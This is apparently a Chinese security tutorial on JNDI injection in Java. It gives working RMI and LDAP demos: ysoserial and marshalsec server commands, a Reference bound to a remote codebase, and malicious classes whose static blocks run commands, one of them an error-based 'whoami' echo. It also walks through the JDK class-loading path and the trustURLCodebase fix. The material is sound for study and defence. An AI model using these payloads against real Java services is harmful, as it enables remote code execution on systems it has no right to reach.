JDNI

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDIAPI应用程序可以定位资源和其他程序对象。JNDIJava EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA

Naming Service 命名服务:

命名服务将名称和对象进行关联,提供通过名称找到对象的操作。

Directory Service 目录服务:

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用:

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

JNDI使用案例

JNDI代码格式如下

1
2
3
String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

当jndiName可控时就造成了JNDI注入

RMI格式:

1
2
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");

JNDI获取远程对象的Demo:

Client

Hello

1
2
3
4
5
6
7
8
package Client;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
public String sayhello(String name) throws RemoteException;
}

JNDI_Client

1
2
3
4
5
6
7
8
9
10
11
12
13
package Client;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDI_Client {
public static void main(String[] args) throws NamingException, RemoteException, NamingException {
InitialContext ctx = new InitialContext();
Hello hello = (Hello)ctx.lookup("rmi://localhost:8080/helloimpl");
System.out.println(hello.sayhello("test"));
}
}

Server

HelloImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package Server;

import Client.Hello;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
protected HelloImpl() throws RemoteException {
}

public String sayhello(String name) throws RemoteException {
return "[Hello "+ name + "]";
}
}

JNDI_Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package Server;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;
import java.util.concurrent.CountDownLatch;

public class JNDI_Server {
public static void main(String[] args) throws RemoteException, NamingException, InterruptedException {
LocateRegistry.createRegistry(8080);

HelloImpl hello = new HelloImpl();
Properties properties = new Properties();
properties.setProperty(Context.INITIAL_CONTEXT_FACTORY , "com.sun.jndi.rmi.registry.RegistryContextFactory");
properties.setProperty(Context.PROVIDER_URL,"rmi://localhost:8080/");
InitialContext ctx = new InitialContext(properties);
ctx.bind("helloimpl",hello);
System.out.println("服务端创建完毕,等待调用");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}

先运行JNDI_Server,将对象绑定,并指定rmi服务端的访问地址以及在JNDI中使用的RMI工厂类,这里有一张RMI工厂类的处理流程图。

1

之后再运行Client,即可看到返回结果:

2

JNDI攻击方式

利用lookup攻击客户端

因为JNDI在正常调用lookup的时候,最后还是用RMI的方式获取远程对象,那么我们就能通过创建恶意JRMPListener来返回恶意序列化数据让客户端反序列化,此时即可触发漏洞,当然这需要客户端存在对应的gadget。

首先本地先起一个JRMPListener:

1
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'open /System/Applications/Calculator.app'

之后客户端尝试lookup:

1
2
3
4
5
6
7
8
9
10
11
12
13
package Client;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;

public class JNDI_Client {
public static void main(String[] args) throws NamingException, IOException {
InitialContext ctx = new InitialContext();
Hello hello = (Hello)ctx.lookup("rmi://localhost:1099/helloimpl");
System.out.println(hello.sayhello("test"));
}
}

3

JDNI+RMI

执行lookup方法时,会对Reference类进行特殊处理,Demo如下

Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package Server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;

public class JNDI_Server {
public static void main(String[] args) throws RemoteException, NamingException, InterruptedException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(8080);

Reference refObj = new Reference("refClassName", "badClassName", "http://127.0.0.1:8888/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("helloimpl", refObjWrapper);
System.out.println("服务端创建完毕,等待调用");
CountDownLatch latch = new CountDownLatch(1);
latch.await();
}
}

Client

1
2
3
4
5
6
7
8
9
10
11
12
13
package Client;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;

public class JNDI_Client {
public static void main(String[] args) throws NamingException, IOException {
InitialContext ctx = new InitialContext();
Hello hello = (Hello)ctx.lookup("rmi://localhost:8080/helloimpl");
System.out.println(hello.sayhello("test"));
}
}

当hello去获取远程对象时,发现获取到的是一个ReferenceWrapper,便会去我们先前指定好的url,也就是Reference的第三个参数去找类,第二个参数是类名

badClassName.class

1
2
3
4
5
6
7
8
9
public class badClassName {
static{
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch(Exception e){
;
}
}
}

当我们尝试加载他时,就会触发静态代码块中的恶意代码,导致RCE:

4

流程分析

在客户端的lookup处下断点开始调试

8

一直跟进lookup方法到达decodeObject方法处,因为对ReferenceWrapper对象相关的处理也是在这里边写好的

9

跟进

10

这里会判断是否实现了RemoteReference接口,如果是则调用getReference方法

11

这里调用了super.ref.invoke,返回的类包含我们之前设置的Reference的信息

12

接着进入到getObjectInstance方法中,因为这个版本较低,所以没有出现trustURLCodebase,在后面未修复的版本中会有一个对于trustURLCodebase的判断,如果为true就进入getObjectInstance方法,如果为false那么就会跑出异常,但因为默认是true,所以也没有影响。

直接给出getObjectInstance方法重点代码

13

这里的getFactoryClassName得到的是设置好的badClassName

14

接着进入getObjectFactoryFromReference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

首先会使用loadclass从本地的classpath加载这个类,如果不存在则通过codebase从远程加载,本地当然不存在,所以到达远程加载部分

1
2
3
4
5
6
7
8
9
public Class loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
}

这里通过URLClassLoader来加载我们预先设置好的远程类地址,跟进loadClass

1
2
3
4
5
Class loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}

这里通过Class.forName去加载类,所以也会调用其static代码块中的代码,我们只需要在里边写我们的恶意代码即可完成执行

修复方式

JDK的修复方式就是将trustURLCodebase默认值设置为false,此时我们则无法通过下面这行代码的检查,即无法进入到加载环节中:

1
var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase

在这里如果trustURLCodebase为false,则会直接抛出异常

JNDI+LDAP

LDAP协议同样是可以用ReferenceWrapper对象进行包装的,所以实际上是和RMI差不多的流程

先写利用方式,本地起一个LDAP Server:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#badClassName 1099

Client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package Client;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;
import java.rmi.RemoteException;
import java.util.Properties;

public class JNDI_Client {
public static void main(String[] args) throws NamingException, IOException {
Properties env = new Properties();
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://localhost:1099/helloimpl");
}
}

同样把badClassName.class放上去,当远程加载badClassName时会触发static代码块中的方法,从而导致RCE:

5

流程分析

其实和RMI差不多,这里做简要分析,只需要关注LdapCtx#decodeObject即可:

15

接着会进到DirectoryManager.getObjectInstance中:

16

后面和RMI一样

修复方式

在LoadClass处用了trustURLCodebase

1
2
3
4
5
6
7
8
9
10
11
12
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
} else {
return null;
}
}

JNDI回显攻击

这里的回显是基于报错来回显,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import java.io.*;

public class badClassName {
static{
try
{
do_exec("whoami");
}catch(Exception e){
e.printStackTrace();
}
}
public static byte[] readBytes(InputStream in) throws IOException {
BufferedInputStream bufin = new BufferedInputStream(in);
int buffSize = 1024;
ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);
byte[] temp = new byte[buffSize];
int size = 0;

while ((size = bufin.read(temp)) != -1) {
out.write(temp, 0, size);
}

bufin.close();

byte[] content = out.toByteArray();

return content;
}

public static void do_exec(String cmd) throws Exception {

final Process p = Runtime.getRuntime().exec(cmd);
final byte[] stderr = readBytes(p.getErrorStream());
final byte[] stdout = readBytes(p.getInputStream());
final int exitValue = p.waitFor();

if (exitValue == 0) {
throw new Exception("-----------------\r\n" + (new String(stdout)) + "-----------------\r\n");
} else {
throw new Exception("-----------------\r\n" + (new String(stderr)) + "-----------------\r\n");
}

}

}

运行客户端即可触发回显RCE

6

一张图表示JNDI注入与JDK版本限制的关系

7